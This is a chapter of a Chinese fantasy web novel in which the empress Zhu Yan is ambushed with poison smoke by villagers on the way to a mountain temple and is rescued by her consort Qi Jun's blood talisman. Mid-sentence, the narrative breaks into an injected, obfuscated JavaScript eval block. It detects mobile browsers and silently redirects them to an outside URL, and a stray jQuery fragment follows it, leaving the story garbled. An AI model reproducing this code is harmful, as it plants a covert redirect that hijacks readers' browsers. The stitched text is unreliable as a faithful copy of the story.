随行的太医给齐浚诊了脉,只说是失血体虚,需要用上好的人参雪莲等珍贵药材来进补。不过那些药材只存放在荣京,行军路上没法配药。
太医的说法一听就不痛不痒,就连朱炎都不相信,毕竟法术和医术隔行如隔山。然而国师已经早几天回了荣京,朱炎想追问隐情也只能回去再说。
这个齐浚,每次都说不会再欺瞒自己,可一次次总是不肯说实话。女帝又恨又气,偏偏看着他那苍白却温柔的笑意再狠不下心来。她思索了半天,做下了一个惊人的决定:
“大队人马行进太慢,朕带齐浚先走。”
“陛下不可!”郑玄英大惊。
“此刻距离荣京还有半个月的路程,再这么颠簸下去,我怕他熬不过去。”朱炎解释,“齐浚说青要山的大祭司有医治他的法子,他想先去青要山。反正神宫距离此地不远,骑马的话隔天就到。”
“那陛下何必自己去?”郑玄英劝谏,“派人护送梅侍卿去就可以了。”
“朕送他去神宫治病只是顺路,主要是去占卜一下国运,肯定能在入京前回来汇合。”朱炎确实有心事,想去一趟神宫。
“那陛下多带一些随从。”郑玄英无奈同意。
“神宫清净,此处又是荣国地界,一向安宁祥和,朕带二十个骑兵足矣。”朱炎让郑玄英去安排,又叮嘱了一句,“为免杨丞相他们啰嗦,这件事一定要保密。”
没过多久,二十骑兵和朱炎都换了平常衣服,齐浚也被安排在了一辆铺着厚厚坐垫的马车里。为了让齐浚躺得舒服,朱炎没有坐马车,自己和骑兵们一起骑马,悄悄离开大部队,前往青要山。
青要山是荣国的神山,传说山顶有一棵神树,保佑着这一方土地的命运。两百年前,神树枯萎,水旱灾害频发,民不聊生,天下大乱,是朱炎的先祖建立荣国,恢复了一方安宁。而神树,也重新萌芽,郁郁葱葱,至今护佑荣国国运。
青要山上的神宫,就是荣国先帝为了供奉神树而建的。
神宫附近有一个百来人的村庄,叫青山村,朱炎以前微服上山时,常常路过,一切都很熟悉了。此番他们上山,照例下马到村里的一家饭铺,打尖吃饭。
经营饭铺的一对村民夫妻,和朱炎两年前记忆里的一模一样。他们热情地招呼朱炎、齐浚和二十骑兵坐下,端水端菜,十分麻利。
“你还记得这里吗?”朱炎扭头问坐在桌子旁边的齐浚。
“记得。”齐浚点头,苍白的脸上露出笑意,“两年前陛下刚刚登基,亲自到青要山神宫接我入荣京。下山之后,我们就是在这里吃饭的。”
“是啊,两年前我接你入宫,给了你梅侍卿的名分。”朱炎忽然道,“你是怡国皇子,却只做了个侍卿,是不是觉得很委屈?”
“只要能在陛下身边,怎么都不委屈。我那个皇子是什么样子,陛下最清楚。”齐浚温柔地回答。
“那个时候真好啊……”朱炎说到这里,忽然想起后面发生的事情,筷子一举,“不说了,吃饭。”
饭菜不算丰盛,但很可口,对于跋涉了大半天的旅客来说,足够让人满意。
正当众人吃得投入之际,朱炎忽然停下筷子:“这烟怎么越来越浓了?”
饭铺烧的是土灶,难免烟味,但此刻这烟越来越浓,越来越黑,确实很不对劲。
“客官有什么吩咐?”老板的手扯着大围裙走了过来,笑容可掬地问。
朱炎心头忽然警铃大作:“来人,将他拿下!”
然而已经晚了。二十名骑兵刚一站起,便摇晃着倒了下去。
那黑烟之中,果然有毒!
与此同时,饭铺老板围裙一翻,内里藏着的一把尖刀迅速朝朱炎刺了过来!
朱炎情急之下,抄起桌上一个盘子挡开尖刀:“你是什么人?”
“我是荣国人,我们都是荣国人!”老板再度抄刀扑上,“暴君朱炎,你穷兵黩武,严刑峻法,害死了我们荣国多少人!今天,我就要为我儿子报仇!”
“为儿子报仇!”老板娘也抄着菜刀从侧面包抄过来。
“诛杀暴君!为亲人报仇!”饭铺四周,不知何时冒出了许多村民。他们有的拿着扁担,有的拿着锄头,全都朝着朱炎围了上来。
“安安小心!”朱炎刚闪身躲开老板的袭击,身子却蓦地被推向一边,却是齐浚推过一张桌子,和原先的桌子一起将朱炎夹在中间。
“你干什么?”越来越浓的黑烟中,朱炎行动受制,一时竟分辨不出方向。最后的视线中,只见齐浚从倒地的侍卫身上抽出一把刀,朝自己走了过来。
一个可怕的念头从心底冒出,刹那间让朱炎毛骨悚然——自己吸入黑烟已经手脚麻痹,齐浚却为什么行动自如?还有,那些村民为什么没有一个人袭击他?
黑烟完全遮蔽了视线,朱炎什么也看不到了。她只听见呼呼的风声,感觉有鲜血飞溅到自己的脸上。脑子越来越昏沉,她终于倒了下去。
醒来的时候四周还是一片黑烟,却是有人将自己背在背上,一步步往前走。朱炎试探地叫了一声:“齐浚?”果然听到身下的人轻轻嗯了一声。
“你要带我去哪里?”朱炎警惕地问。她想要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396197|200336||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻身下来,四肢却软绵绵地没有力气。
齐浚却没有回答,只是继续缓慢地往前走。
“放朕下来!你要干什么?”惊骇之中,朱炎发觉自己竟然恢复了一点力气,然而齐浚箍着她的手臂那么有力,她还是挣脱不开。
“叫你放手!”朱炎蓦地从头上拔下一根特制的簪子,那是她随身携带用来防身的利器。黑暗之中,她也分不清具体位置,就朝着身下的齐浚扎了下去,“放手!”
齐浚闷哼一声,还是继续走。朱炎死死攥着那根簪子,只感觉满手都是湿漉漉的血。正犹豫还要不要继续扎,齐浚忽然脚步一顿,整个人倾颓下去。
朱炎从齐浚身上跳下。四周漆黑一片,伸手不见五指,她不敢乱动,也不敢出声,只悄悄地蹲在一旁,观察齐浚的动静。
她听见了齐浚衣服的摩擦声,显然是爬了起来,待在原地不知道做什么。过了一会,她看见一道金红色的符咒在地上亮起,如同火焰,将四周黑色的烟雾慢慢燃烧殆尽。
四周渐渐亮了,朱炎终于看清了齐浚的模样。他盘腿坐在地上,垂着头,正对着她的后背鲜血淋漓,显然是被她用簪子扎的。而他身前的地上,是用血画出的符咒。
听见身后的动静,齐浚转过头,口唇嗫嚅了几下,想说话却呕出一口血来。
他的胸前,是比后背更大片的血色。
朱炎知道他唤的两个字是“安安”,也明白他方才不是不想回答自己,而是一开口就再也撑不住那股力气。可是她此刻并没有被他舍命相救的感动,而是僵立在原地,冷冷地问:“你为什么不怕毒烟?为什么那些村民不袭击你?”
“我的血里……还有灵力……所以符咒还能用……”齐浚知道朱炎生出了误会,用力咳出淤血,终于能说出话来,“村民的举动……我也不明白……”
但是去青要山神宫的想法,可是你提出来的。朱炎把这句话咽下,也不知道齐浚是真不明白还是撒谎,但她知道再问下去已经没有意义了。“这是哪里?”她四下张望。四周是一片山地,他们已经离开了那个村庄。
“这里……靠近青要山了。所以我的符咒,能借助青要山的灵气。”齐浚支撑着站起来,“安安,那些村民可能会追来……我们快去神宫……”
见朱炎不动,齐浚只当她余毒未解:“你走不了……我背你……”
“照顾好你自己吧,别半途倒下就好了。”朱炎嫌弃地扫了他一眼,“朕是荣国的帝王,有神树护体,那点毒现在已经解了。”说着,她扔给齐浚一根可以当做手杖的树枝,当先往青要山的方向走去。